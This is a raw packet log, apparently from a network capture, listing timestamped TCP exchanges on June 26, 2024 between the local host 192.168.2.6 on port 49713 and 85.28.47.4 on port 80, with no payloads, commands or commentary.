Jun 26, 2024 08:16:17.622592926 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622622967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622622967 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622637987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622656107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622669935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622684956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622694016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622694016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622709990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.622716904 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622737885 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.622793913 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.627722979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627754927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627769947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627784014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627796888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.627816916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627831936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627835035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.627847910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627857924 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.627862930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627876997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.627880096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627895117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627912998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627948046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.627948046 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.627953053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627978086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.627990961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628000975 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628005981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628021002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628027916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628036976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628051996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628051996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628072023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628078938 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628119946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628129959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628129959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628144026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628159046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628173113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628185987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628185987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628187895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628204107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628221035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628231049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628231049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628236055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628278971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628278971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628284931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628309965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628351927 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628351927 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628365993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628371954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628379107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628405094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628439903 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628506899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628525019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628530979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628539085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628545046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628550053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628555059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628571987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628571987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628659964 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628659964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628684044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628707886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628720999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628722906 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628757000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628757000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628779888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628794909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628809929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628824949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628839970 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628839970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628859997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628900051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628902912 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628916025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.628943920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.628981113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.629056931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629075050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629090071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629105091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629105091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.629120111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629128933 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.629137993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629152060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629165888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629169941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.629169941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.629183054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629196882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629201889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.629213095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629220963 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.629229069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629244089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629259109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.629275084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.629275084 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.629304886 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.956551075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956593037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956609011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956624031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956639051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956654072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956670046 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956685066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956710100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.956759930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.956823111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956837893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956854105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956868887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956890106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.956895113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956903934 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.956912041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956928968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.956970930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.956980944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.956995964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957005024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957006931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957014084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957016945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957042933 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957042933 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957051039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957066059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957071066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957088947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957103014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957103968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957119942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957156897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957156897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957175016 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957178116 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957191944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957207918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957222939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957237959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957243919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957262039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957281113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957331896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957348108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957361937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957376957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957386017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957391977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957395077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957400084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957411051 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957417011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957432985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957453012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957453012 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957479000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957603931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957618952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957633018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957648039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957662106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957669020 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957675934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957691908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957715034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.957715988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957715988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957753897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957753897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.957968950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958002090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958017111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958029985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958044052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958050966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958059072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958075047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958089113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958103895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958117008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958117962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958117008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958117008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958134890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958149910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958162069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958162069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958165884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958180904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958185911 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958197117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958211899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958226919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958233118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958233118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958242893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958283901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958297968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958307028 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958316088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958329916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958343983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958358049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958372116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958381891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958381891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958381891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958384991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958409071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958424091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958435059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958435059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958439112 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958455086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958472967 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958528996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958528996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958626032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958641052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958656073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958671093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958684921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958698988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958713055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958740950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958743095 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958743095 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958743095 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958765030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958781004 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958781004 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958797932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958812952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958817959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958827972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958842993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958857059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958870888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958884954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958898067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958913088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958913088 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958913088 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958913088 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958928108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958941936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958956957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958970070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.958980083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958980083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.958985090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959000111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959003925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959012985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959014893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959031105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959045887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959048033 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959048033 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959060907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959075928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959090948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959093094 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959105015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959114075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959120035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959135056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959150076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959171057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959171057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959193945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959407091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959497929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959538937 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959553957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959568977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959582090 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959597111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959604025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959604025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959604025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959619045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959620953 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959656954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959664106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959673882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959687948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959692001 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959702969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959716082 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959718943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959733963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959747076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959762096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959775925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959786892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959786892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959786892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959789038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959804058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959819078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959832907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959846973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959860086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959871054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959871054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959871054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959872961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959887981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.959903002 CEST	80	49713	85.28.47.4	192.168.2.6
